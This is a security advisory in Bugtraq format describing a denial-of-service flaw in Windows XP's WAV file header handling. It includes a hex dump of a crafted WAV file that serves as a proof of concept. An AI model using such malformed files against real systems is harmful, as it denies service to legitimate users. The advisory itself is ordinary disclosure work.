Microsoft Windows XP WAV File Handler Denial Of Service Vulnerability

Bugtraq ID:	11503
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Oct 22 2004 12:00AM
Updated:	Oct 22 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to HexView.
Vulnerable:	Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Media Center Edition SP1 Microsoft Windows XP Media Center Edition Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows XP Embedded SP1 Microsoft Windows XP Embedded
Not Vulnerable:

Microsoft Windows XP WAV File Handler Denial Of Service Vulnerability

Microsoft Windows XP is reported prone to a denial of service vulnerability. The issue exists due to a lack of sufficient sanitization performed on WAV file header values before they are processed.

If an exploit attempt is successful, the Windows Explorer process will begin to consume CPU resources. An attacker may exploit this vulnerability to deny service to legitimate users.

Microsoft Windows XP WAV File Handler Denial Of Service Vulnerability

The following example is available:


00000000 52 49 46 46 42 D0 01 00 57 41 56 45 66 6D 74 20 RIFFB...WAVEfmt
00000010 FF FF FF FF 01 00 02 00 22 56 00 00 88 58 01 00 .........V...X..
00000020 04 00 10 00 00 00 66 61 63 74 04 00 00 00 04 74 ......fact.....t
00000030 00 00 64 61 74 61 10 D0 01 00 ..data....

Microsoft Windows XP WAV File Handler Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Microsoft Windows XP WAV File Handler Denial Of Service Vulnerability

References:

• Microsoft Technet Security (Microsoft)
  
• [HV-LOW] Unsafe WAV header handling can cause DoS on Windows ([email protected])